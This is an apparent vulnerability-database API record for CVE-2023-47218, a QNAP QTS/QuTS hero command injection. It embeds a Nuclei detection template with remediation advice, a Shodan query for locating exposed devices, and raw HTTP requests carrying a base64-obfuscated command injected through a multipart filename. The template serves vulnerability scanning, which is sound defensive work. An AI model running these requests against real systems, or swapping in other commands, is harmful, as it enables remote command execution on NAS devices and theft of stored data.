{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-47218/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-47218/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-47218/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-47218/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-47218/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-47218"},"sightings":{"href":"/api/v1/sightings/cve-2023-47218"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-47218.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2023-47218\n\ninfo:\n  name: QNAP QTS and QuTS Hero - OS Command Injection\n  author: ritikchaddha\n  severity: medium\n  description: |\n    An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.5.2645 build 20240116 and later QuTS hero h5.1.5.2647 build 20240118 and later QuTScloud c5.1.5.2651 and later.\n  impact: |\n    Unauthenticated attackers on the local network can execute arbitrary commands remotely, potentially compromising NAS devices and stored data.\n  remediation: |\n    Update to QTS 5.1.5.2645 build 20240116 or later, QuTS hero h5.1.5.2647 build 20240118 or later, or QuTScloud c5.1.5.2651 or later.\n  reference:\n    - https://github.com/passwa11/CVE-2023-47218\n    - https://twitter.com/win3zz/status/1760224052289888668/photo/3\n    - https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-47218\n    - https://www.qnap.com/en/security-advisory/qsa-23-57\n  classification:\n    cvss-metrics: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L\n    cvss-score: 5.8\n    cve-id: CVE-2023-47218\n    cwe-id: CWE-77\n    epss-score: 0.8992\n    epss-percentile: 0.99789\n    cpe: cpe:2.3:o:qnap:qts:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: ssl.cert.issuer.cn:\"QNAP NAS\",title:\"QNAP Turbo NAS\"\n    product: qts\n    vendor: qnap\n  tags: cve,cve2023,qnap,qts,quts,rce,intrusive,vkev,vuln\nvariables:\n  file: '{{rand_base(6)}}'\n  cmd: '%22$($(echo -n aWQ=|base64 -d)>{{file}})%22'\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data;boundary=\"avssqwfz\"\n\n        --avssqwfz\n        Content-Disposition: form-data; xxpcscma=\"field2\"; zczqildp=\"{{cmd}}\"\n        Content-Type: text/plain\n\n        skfqduny\n        --avssqwfz–\n\n      - |\n        POST /cgi-bin/quick/{{file}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body_1, \"code\\\": 200\", \"full_path_filename success\")'\n          - 'contains_all(body_2, \"uid=\", \"gid=\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100d3783e1ea296c418736300c0fd05f0353cd1eaa87fde3c86661808e857bbdad6022020cca92d7b342b28fc2c3e2ecc9c8b1c422ac3cfedec60c2f633cedb84007aec:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-47218"}